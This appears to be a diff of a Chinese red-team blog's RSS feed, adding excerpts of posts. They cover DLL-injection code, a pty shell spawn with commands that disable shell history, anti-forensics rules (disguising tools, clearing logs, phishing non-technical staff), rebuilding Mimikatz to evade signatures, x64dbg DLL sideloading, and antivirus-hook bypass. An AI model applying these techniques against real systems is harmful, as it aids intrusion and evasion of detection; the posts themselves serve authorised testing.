WaitForSingleObject(remoteThread, <span style="color:#ae81ff">5</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">1000</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(result <span style="color:#f92672">==</span> WAIT_TIMEOUT) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;WaitForSingleObject(LoadLibraryA thread) timed out.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">8</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> } <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span>(result <span style="color:#f92672">==</span> WAIT_FAILED) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;WaitForSingleObject(LoadLibraryA thread) failed. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">9</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Ok, finished dll injection.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>签名情况:</p>红队行动守则https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/Thu, 10 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h2 id="攻击注意事项">攻击注意事项</h2> <ul> @@ -335,7 +732,40 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></pr记录一下配置Clash透明代理https://payloads.online/archivers/2023-08-07/clash-config/Mon, 07 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-07/clash-config/<!-- raw HTML omitted --> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python -c <span style="color:#e6db74">&#39;import pty;pty.spawn(&#34;/bin/sh&#34;)&#39;</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># or</span> +</span></span><span style="display:flex;"><span>unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; +</span></span><span style="display:flex;"><span>export HISTFILE<span style="color:#f92672">=</span>/dev/null; +</span></span><span style="display:flex;"><span>export HISTSIZE<span style="color:#f92672">=</span>0; +</span></span><span style="display:flex;"><span>export HISTFILESIZE<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> +</span></span></code></pre></td></tr></table> +</div> +</div><ul> +<li>操作合规:非必要情况下,不修改任何服务器用户密码</li> +<li>操作合规:非必要情况下,不使用破坏性较强的Exploit或者工具</li> +<li>操作合规:非必要情况下,不要对内网进行大规模探测 例如不要/8</li> +<li>操作合规:非必要情况下,切勿上来就进行扫描探测,先应对当前主机做详细的信息搜集和分析</li> +<li>工具存放:工具统一存放在隐藏目录下,文件名称命名为服务进程(tomcat/nginx)等,有AV/EDR情况,工具应先本地测试免杀之后,再落地到目标服务器,最好有多个平替工具</li> +</ul> +<h2 id="反溯源注意事项">反溯源注意事项</h2> +<ul> +<li>外网攻击时:尽量使用虚拟机进行渗透,并且测试时不提交包含个人特征信息的手机号码、QQ、微信、其他信息,最好日常工作的浏览器和渗透攻击的浏览器用两个。一般我会创建攻击机的虚拟机快照,项目结束恢复初始状态,干干净净。</li> +<li>内网攻击时:攻击结束必须进行痕迹清理,及时删除自用软件,如Webshell、免杀上线马、0day工具、扫描工具、自研工具,甚至包含系统日志。</li> +<li>短线社工钓鱼:尽量避开技术人员,从非技术人员入手,钓鱼信息为非实名信息</li> +<li>短线社工钓鱼:远程获取的可执行文件,谨慎点击(尤其是VPN客户端,谨防蜜罐),可以上传各类沙箱进行检测,同时运行可以采用虚拟机的方式。</li> +<li>在开源社区获得系统或工具源代码后,谨慎打开,防止IDE的编译、加载、调试选项内藏上线命令。</li> +</ul> +<h2 id="职业操守">职业操守</h2> +<ul> +<li>禁止下载、更改业务数据(企业数据),修改业务系统密码(如路由器、Web站点后台、VPN)降低业务影响。</li> +<li>禁止使用会造成不良后果的攻击方式(如DDOS攻击)。</li> +<li>测试结束后删除Webshell等恶意文件或记住固定存放位置。</li> +<li>禁止使用境外跳板机、VPN。</li> +<li>使用统一攻击资源与授权攻击工具。</li> +<li>对项目、行动内容在公开场合进行保密,不产生任何舆论影响。</li> +</ul>记录一下配置Clash透明代理https://payloads.online/archivers/2023-08-07/clash-config/Mon, 07 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-07/clash-config/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h1 id="clash是什么">📝Clash是什么?</h1> <p><a href="https://github.com/Dreamacro/clash">https://github.com/Dreamacro/clash</a></p> @@ -375,7 +805,47 @@ <p> <img src="https://images.payloads.online/2024-07-29-0901705e6c5f3cc7db29338176b4c9558f1e87bf3a5e092df44706d38ae89b61.png" alt="2"> -</p>常用软件记录https://payloads.online/archivers/2023-07-19/useful-software/Wed, 19 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-19/useful-software/<!-- raw HTML omitted --> +</p> +<p>由于这个项目是采用C#开发的,所以我们着重关注C#相关的配置:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-1b7abdb53043453e086a25620f4411330f445299864c87d91beb53bc87a47890.png" alt="3"> + +</p> +<p>在Before build script中输入如下命令,会在开始编译之前去下载这个项目所依赖的库:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nuget restore +</span></span></code></pre></td></tr></table> +</div> +</div><!-- raw HTML omitted --> +<p>在开发.NET应用程序时,通常会使用NuGet来管理项目所依赖的第三方库和组件。NuGet是.NET生态系统中最受欢迎的包管理器之一,它提供了一个中央存储库,开发人员可以从中获取各种软件包和库。</p> +<p>&ldquo;nuget restore&quot;命令会读取项目文件(.csproj或.vbproj)中的依赖关系,并下载或还原所需的NuGet包,以确保项目可以成功编译和构建。这个命令通常在CI/CD(持续集成/持续交付)过程中使用,以确保在构建项目之前,所有的依赖关系都被正确地还原和安装。</p> +<!-- raw HTML omitted --> +<p>除此之外,还可以在环境配置中设置安装开发库的命令:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-d2dbacd81fcf3c3ae4c2d9dad8dbfaafff18b18a138d0b6d46d966c00c66e23c.png" alt="4"> + +</p> +<p>最后一步就是设置二进制文件打包了,点击artifacts,可以配置要打包的路径,必须是相对路径,C#的程序一般会将二进制文件生成到bin目录下,所以我这里就写:etrace\bin</p> +<p> + <img src="https://images.payloads.online/2024-07-29-250ee79944bc86c985221b13aee115fb153e56ca50d88d16799a3eebb3d29c44.png" alt="5"> + +</p> +<p>保存后,回到项目页面,点击Start New Build就开始构建了:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-51d2f8ad59c102c96729da44ee8c88a28706eefb90c6a52e00e4ae94c055db8b.png" alt="6"> + +</p> +<p>稍微等待一下,就可以看到构建好的程序了,直接下载就可以使用。</p> +<p> + <img src="https://images.payloads.online/2024-07-29-71e3d69c746a01016da0b57aa98abcd4de9029ce06eec2f5ef3127062e78cb7d.png" alt="7"> + +</p> +<h2 id="使用appveyor构建mimikatz">使用AppVeyor构建Mimikatz</h2> +<p>Mimikatz是<a href="https://github.com/gentilkiwi">gentilkiwi</a>使用C语言开发的Windows安全工具,该工具有着丰富的功能,能过从内存中提取明文密码,哈希,PIN码和kerberos票据、哈希传递等等,随着越来越多的黑客滥用此工具进行一些非法活动,因此<a href="https://github.com/gentilkiwi">gentilkiwi</a>每发布一个Release,Release中的Mimikatz样本就会被标记为黑客工具,这对红队带来了一些小麻烦,通过AppVeyor我们可以自动化的做一些静态特征处理,然后自动构建产生新的工具。</p>常用软件记录https://payloads.online/archivers/2023-07-19/useful-software/Wed, 19 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-19/useful-software/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h3 id="操作系统-镜像">操作系统-[镜像]</h3> <ul> @@ -498,7 +968,25 @@ <p>2019的部分总结:我非常热爱技术,什么都想会一点,至今为止都觉得全能高手是存在的,也不会浮躁,只优先选择自己热爱的,这点是有些固执的,时常沉浸其中、乐在其中,做技术带给我的反馈有很多,它不断的印证一就是一,不管如何都不会变成二。其次,不断印证类似于成功学中的大道理,努力就有收获之类的话题。技术是我的爱好,而我的工作建设在爱好之上,这对于许多人来说是多么幸福的一件事啊。但有一天我开始怀疑,因为我从一个前辈身上感受到,他除了有和我相同类似的工作的同时,还拥有一个更热爱的爱好,我觉得这是对幸福的一种加持。我开始觉得工作与爱好的融合会让爱好变得浑浊,不那么纯粹。工作是有棱角的,而爱好是没有棱角的。这样的情况普遍也很多,这倒也还算过得去。</p> <p>2020年的部分总结:从2020年X月起初到2020年X月份,实验室成员目前达到X人,现有工作需求的技术都慢慢开始饱和。从年初刚开始的X人发展到X人,期间遇到项目上、管理上的许多问题,问题的最初在我自身,在明确方向的工作上和需要执行的工作上没有平衡,欠缺思考的时间。通过逐步的现象总结,能够解决一部分问题,强调了关于部门价值观、绩效考核、工作效率等等问题,但这种方式不能够持续解决已经遇到过的问题,于是开始落地标准化来形成管理工具,我发现我的日常思考的结果是存在某些管理框架内的,是有特定的方法的,这对于我自身是很大的提升。</p> <p>个人技能:从去年到现在一直在推荐落地Demo这块工作,我发现内部已经形成感染力,对于一些研究、实战的需求有了更多的思考。从技术成长的角度来看,需要发展成为“T”字型人才,这样才能应对更多的考验,自身擅长的方向有一定沉淀,以“专精之余而触类旁通”来规划自己一个阶段的学习方向,管理好精力与时间是我有待练习和加强的。</p> -<p>2021年的部分总结:每一个企业都有战略资源部门,我理解的战略资源部门是这个部门的能力具备稀缺性的,复制需要巨大成本,如果利用得当,会产生巨大增益,反之当战略资源投入的衡量方式有问题就会产生战略资源部门管理上的压力,我所处于的就是一个战略资源部门,我长期以来遇到最大的问题就是关于战略价值的衡量,哪种类型的项目需要投入多少资源可能是项目管理上屡见不鲜的问题,对于PM来说,解决这种问题一定是有现成的公式或者工具,但作为一个Leader,考虑的因素就要多很多了,尤其是团队平均年龄比较年轻的,要为大家争取最大的利益,而且这种利益还可能是一种不可见的长远利益,你不能奢求大多数人可以理解,多数的牺牲是看不见的。</p>分享一下最近使用Arch Linux的感受https://payloads.online/archivers/2022-09-03/1/Sat, 03 Sep 2022 00:00:00 +0000https://payloads.online/archivers/2022-09-03/1/<p> +<p>2021年的部分总结:每一个企业都有战略资源部门,我理解的战略资源部门是这个部门的能力具备稀缺性的,复制需要巨大成本,如果利用得当,会产生巨大增益,反之当战略资源投入的衡量方式有问题就会产生战略资源部门管理上的压力,我所处于的就是一个战略资源部门,我长期以来遇到最大的问题就是关于战略价值的衡量,哪种类型的项目需要投入多少资源可能是项目管理上屡见不鲜的问题,对于PM来说,解决这种问题一定是有现成的公式或者工具,但作为一个Leader,考虑的因素就要多很多了,尤其是团队平均年龄比较年轻的,要为大家争取最大的利益,而且这种利益还可能是一种不可见的长远利益,你不能奢求大多数人可以理解,多数的牺牲是看不见的。</p> +<p>我解决这个问题的办法是不断的跨部门沟通,项目分级定义,投入产出对赌,跨部门的效果达到预期以后,我的成就感油然而生,即使在解决的过程中因为自己并不擅长,多次想过要逃避、斗争,但都坚持了下来,因为比起自己看不起自己,更怕的是无法回应太多人的期待。解决完成后,我就开始思考如何让团队的定位和目标更明确,让大家做的事儿更有边界,更贴合自身预期。于是在近年末的期间,让大家开始定制规划2022年的目标,将更多的力量投入到中台建设工作上来,这可能是对大家也是一个不小的挑战,尤其在思维上、技术上,相信大家一定可以。</p> +<p>这里简单晒一下我在今年离职前做职级晋升准备上报的近两年重点工作成果(日常交付项目除外):</p> +<p>一、业绩成果:</p> +<ol> +<li>2021年大型攻防演练现场牵头,作为现场队长将传递有效信息到后端,现场编写技战法与报告整理,且代表公司获得HW BP讲师称号及证书</li> +<li>2022年大型攻防演练总牵头,前期预算申报、人员分组、方案制定、质量把控,带领团队拉通各部门进行红队工作</li> +</ol> +<p>二、机制建设:</p> +<ol> +<li>业绩承诺机制管理规定发布,明确了XX中心与XX中心内部,在红队资源申请及业绩承诺机制之间的基本原则,用于规范红队支撑,最大限度优化、聚焦红队资源,使之发挥最优的价值。指导红队支撑工作中产生的各类费用核算方法,XX中心、XX中心、XX部、XX部应按照本规定落实相关的核算工作,并逐步推进财务核算精细化管理。</li> +<li>持续推进红队中台能力建设,XX实验室红队平台的功能评审、需求反馈、漏洞和工具与XX实验室KPI绑定,辅助XX实验室持续迭代平台,至今已初步发挥价值,有用户且有业绩</li> +<li>公司红队梯队建设,在X总的建议下,与其他同事制定了XX中心红队的梯队建设模式、红队激励覆盖范围等机制</li> +<li>红队漏洞储备机制建设,设定XX实验室漏洞挖掘KPI,明确产出,并且提供到XX实验室漏洞平台,建立0day漏洞申请机制</li> +</ol> +<p>三、影响力</p> +<p>对外: 编写红队彩虹书增加公司对外影响力,2021年编写红队彩虹书成功发布、2022年年初负责牵头编写红队彩虹书,跟进修订、修改,最终成功上市发布 +对内:任职资格标准修订,作为标准修订组长角色对2021年的任职资格标准重新修订,为红队方向发展人员提供晋升参考</p> +<p>这三年不仅具备了相对丰富的红队技术和业务经验,也尝试了一线的管理工作,往日与大家战斗的日子历历在目,在公司不知看过多少次日出,享受过红队那份荣耀、维护过红队那份骄傲,我的故事留在了这里,感恩那些包容过我的朋友、同事们,所有的离别都是为了更好的相遇……</p>分享一下最近使用Arch Linux的感受https://payloads.online/archivers/2022-09-03/1/Sat, 03 Sep 2022 00:00:00 +0000https://payloads.online/archivers/2022-09-03/1/<p> <img src="https://images.payloads.online/2022-09-03-13-58-46.png" alt=""> </p> @@ -522,7 +1010,22 @@ <p> <img src="https://images.payloads.online/2022-09-03-13-55-52.png" alt=""> -</p>x64dbg中的白加黑利用https://payloads.online/archivers/2022-08-17/1/Wed, 17 Aug 2022 00:00:00 +0000https://payloads.online/archivers/2022-08-17/1/<h2 id="0x00-何谓白加黑">0x00 何谓白加黑?</h2> +</p> +<p> + <img src="https://images.payloads.online/2022-09-03-13-55-58.png" alt=""> + +</p> +<p>游戏方面,当属Steam为主了,只要是支持Linux平台的都可以完美运行。</p> +<p> + <img src="https://images.payloads.online/2022-09-03-13-56-10.png" alt=""> + +</p> +<p> + <img src="https://images.payloads.online/2022-09-03-13-56-18.png" alt=""> + +</p> +<p>支持Linux的大作游戏并不多,如果是重度游戏患者可能不太适合Linux,对于我而言,Arch Linux未来可能会陪伴我走很多年。</p> +<p>我安装的软件包列表都在Github仓库自动更新:https://github.com/Rvn0xsy/pacman-pkg</p>x64dbg中的白加黑利用https://payloads.online/archivers/2022-08-17/1/Wed, 17 Aug 2022 00:00:00 +0000https://payloads.online/archivers/2022-08-17/1/<h2 id="0x00-何谓白加黑">0x00 何谓白加黑?</h2> <p>在木马样本与杀毒软件的对抗中,再隐蔽的木马在被发现的那一刻,它的这一生就结束了。杀毒软件厂商通过SHA1/2、MD5等算法取得样本的唯一值来构建云端的特征库,当下一次攻击发生时,将会通过特征库进行比对,因此成本对抗不言而喻,红队的木马需要重新修改、编译,大大增加了对抗的时间、精力,这就是威胁情报的一种价值。反观有些软件确实会需要开发一些敏感行为的功能,如修改注册表、屏幕录像截图但这些是用户知情且授权的行为,这时杀毒软件再进行拦截的话,将大大降低软件使用的体验,所以出现了软件签名技术可以解决这类问题,当然软件签名技术不仅仅是为了只解决这一个问题而出现的。有些APT组织会通过控制软件开发商的代码仓库进行投毒或者通过入侵软件开发商来窃取签名,给自己的木马加上签名验证,杀毒软件遇到签名将会默认信任这个程序。但攻击软件开发商所需要投入的成本也相对比较高,telegram上也出现了花钱签名的服务,不过白嫖怪的数量可比金主爸爸要多,白嫖怪为了得到一个可以以签名程序运行自己任意代码的条件就会去挖掘一些软件厂商的程序是否存在DLL劫持漏洞,利用DLL劫持的特性达到披着羊皮的狼的目的。现阶段基本上大多数的APT组织在进行权限维持都会采用白加黑的技术来绕过杀毒软件的拦截和检测(特殊行为除外)。本文将会分享一个关于x64dbg这款调试工具的白加黑利用技巧。</p> <h2 id="0x02-x64dbg的dll加载组件">0x02 x64dbg的DLL加载组件</h2> <p><a href="https://github.com/x64dbg/x64dbg">x64dbg</a> 是一个开源的Windows平台下的调试工具,相比于OllyDbg我更喜欢x64dbg。打开x64dbg的目录,可以看到有一个loaddll.exe程序,顾名思义,它一定具有dll加载的功能。</p> @@ -556,7 +1059,34 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 -</span></code></pr通过动态链接库绕过反病毒软件Hook - Break JVMhttps://payloads.online/archivers/2022-08-11/1/Thu, 11 Aug 2022 17:23:32 +0800https://payloads.online/archivers/2022-08-11/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">wchar_t</span> szLibraryPath[<span style="color:#ae81ff">512</span>]; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">wchar_t</span> szName[<span style="color:#ae81ff">256</span>]; +</span></span><span style="display:flex;"><span> wsprintfW(szName, <span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;Local</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">szLibraryName%X&#34;</span>, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>)GetCurrentProcessId()); +</span></span><span style="display:flex;"><span> HANDLE hMapFile <span style="color:#f92672">=</span> OpenFileMappingW(FILE_MAP_READ, false, szName); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hMapFile) +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span><span style="color:#f92672">*</span> szLibraryPathMapping <span style="color:#f92672">=</span> (<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span><span style="color:#f92672">*</span>)MapViewOfFile(hMapFile, FILE_MAP_READ, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(szLibraryPath)); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(szLibraryPathMapping) +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span> lstrcpyW(szLibraryPath, szLibraryPathMapping); +</span></span><span style="display:flex;"><span> UnmapViewOfFile(szLibraryPathMapping); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> CloseHandle(hMapFile); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(szLibraryPath[<span style="color:#ae81ff">0</span>]) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> (LoadLibraryW(szLibraryPath) <span style="color:#f92672">!=</span> NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>代码非常简单,大致功能是读取本地系统上一个文件映射具柄,从文件映射句柄中获取要加载的dll文件路径。文件句柄的名称包含了当前进程的PID,是不固定的。那么如何实现任意文件加载呢?</p>通过动态链接库绕过反病毒软件Hook - Break JVMhttps://payloads.online/archivers/2022-08-11/1/Thu, 11 Aug 2022 17:23:32 +0800https://payloads.online/archivers/2022-08-11/1/<h2 id="0x00-前言">0x00 前言</h2> <p>通常情况下获得Java Webshell碰到数字杀毒的场景居多,在这个环境中经常会遇到无法执行命令或命令被拦截的情况,很多小伙伴遇到这个问题就劝退了,我猜测是有一套进程链的检测方式导致了命令无法执行,于是去查看Java的文档,查阅到Java能够加载动态链接库且能够执行动态链接库中的代码,本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截,但在演示之前,需要铺垫一些基础知识,如:猜想的进程链、Windows错误代码、Java加载动态链接库常见的三种办法、Windows动态链接库、土豆提权原理、命名管道技术等。</p> <h2 id="0x01-猜想的进程链">0x01 猜想的进程链</h2> <p>在获取Webshell以后,一般执行命令都会调用 <code>Runtime.exec</code> ,当然也有其他的命令执行方式,这里不再讨论,执行的命令一般分为两种:</p> @@ -588,7 +1118,20 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 -</span></code></pr通过Windows RPC批量寻找“出网”机器https://payloads.online/archivers/2022-03-04/1/Fri, 04 Mar 2022 17:23:32 +0800https://payloads.online/archivers/2022-03-04/1/<h2 id="0x00-windows-rpc">0x00 Windows RPC</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">try</span> { +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// String cmdStr = &#34;cmd.exe /c forfiles.exe /p C:\\&#34; ;</span> +</span></span><span style="display:flex;"><span> String cmdStr <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;forfiles.exe /p C:\\&#34;</span> ; +</span></span><span style="display:flex;"><span> Runtime.<span style="color:#a6e22e">getRuntime</span>().<span style="color:#a6e22e">exec</span>(cmdStr); +</span></span><span style="display:flex;"><span> }<span style="color:#66d9ef">catch</span>(Exception e){ +</span></span><span style="display:flex;"><span> e.<span style="color:#a6e22e">printStackTrace</span>(); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>这样虽然不会创建进程,但大部分命令还是会拦截,例如:net.exe net1.exe</p>通过Windows RPC批量寻找“出网”机器https://payloads.online/archivers/2022-03-04/1/Fri, 04 Mar 2022 17:23:32 +0800https://payloads.online/archivers/2022-03-04/1/<h2 id="0x00-windows-rpc">0x00 Windows RPC</h2> <p>RPC(Remote Procedure Call)远程过程调用协议,一种通过网络从远程计算机上请求服务,而不需要了解底层网络技术的协议。RPC它假定某些协议的存在,例如TCP/UDP等,为通信程序之间携带信息数据。在OSI网络七层模型中,RPC跨越了传输层和应用层,RPC使得开发,包括网络分布式多程序在内的应用程序更加容易。在Windows操作系统中,<a href="https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page">RPC(Remote Procedure Call)</a> 已经存在了许久,一些漏洞挖掘研究员也已经将RPC相关的漏洞挖的差不多了。但是想要调用Windows RPC接口完成某些事情,我感觉比直接使用Windows API麻烦很多,最近一直在看Windows RPC相关的知识,也实现了一些小工具,但最终我发现还是<a href="https://github.com/SecureAuthCorp/impacket">impacket</a>香!</p> <p>Windows RPC实现的小工具-远程/本地创建任务计划:</p> <p> @@ -622,7 +1165,31 @@ <p> <img src="https://images.payloads.online/2022-03-04-18-46-02.png" alt=""> -</p>利用NPM仓库充当文件托管服务https://payloads.online/archivers/2022-03-01/1/Tue, 01 Mar 2022 17:23:32 +0800https://payloads.online/archivers/2022-03-01/1/<h2 id="0x00-什么是npm">0x00 什么是NPM?</h2> +</p> +<p>假设Kali Linux具有192.168.117.0/24网段内的通用口令凭据,只有Windows 10可以访问互联网,那么常规的办法就是逐个让这些机器访问某个互联网地址,然后看哪一个请求成功了,最终请求成功的那个必定是可以访问互联网的。通过常规办法会有比较大的“动静”,也可能需要落地一些文件,产生更多的日志。</p> +<h2 id="0x02-通过rpcopenprinter作为代理访问">0x02 通过<strong><strong>RpcOpenPrinter作为代理访问</strong></strong></h2> +<p><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/989357e2-446e-4872-bb38-1dce21e1313f">RpcOpenPrinter</a> 是一个工作在<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1">MS-RPRN</a>协议下的监视打印机的句柄方法,方法定义如下:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>DWORD <span style="color:#a6e22e">RpcOpenPrinter</span>( +</span></span><span style="display:flex;"><span> [in, string, unique] STRING_HANDLE pPrinterName, +</span></span><span style="display:flex;"><span> [out] PRINTER_HANDLE<span style="color:#f92672">*</span> pHandle, +</span></span><span style="display:flex;"><span> [in, string, unique] <span style="color:#66d9ef">wchar_t</span><span style="color:#f92672">*</span> pDatatype, +</span></span><span style="display:flex;"><span> [in] DEVMODE_CONTAINER<span style="color:#f92672">*</span> pDevModeContainer, +</span></span><span style="display:flex;"><span> [in] DWORD AccessRequired +</span></span><span style="display:flex;"><span> ); +</span></span></code></pre></td></tr></table> +</div> +</div><p>第一个参数<code>pPrinterName</code>是打印机的地址,格式支持:</p>利用NPM仓库充当文件托管服务https://payloads.online/archivers/2022-03-01/1/Tue, 01 Mar 2022 17:23:32 +0800https://payloads.online/archivers/2022-03-01/1/<h2 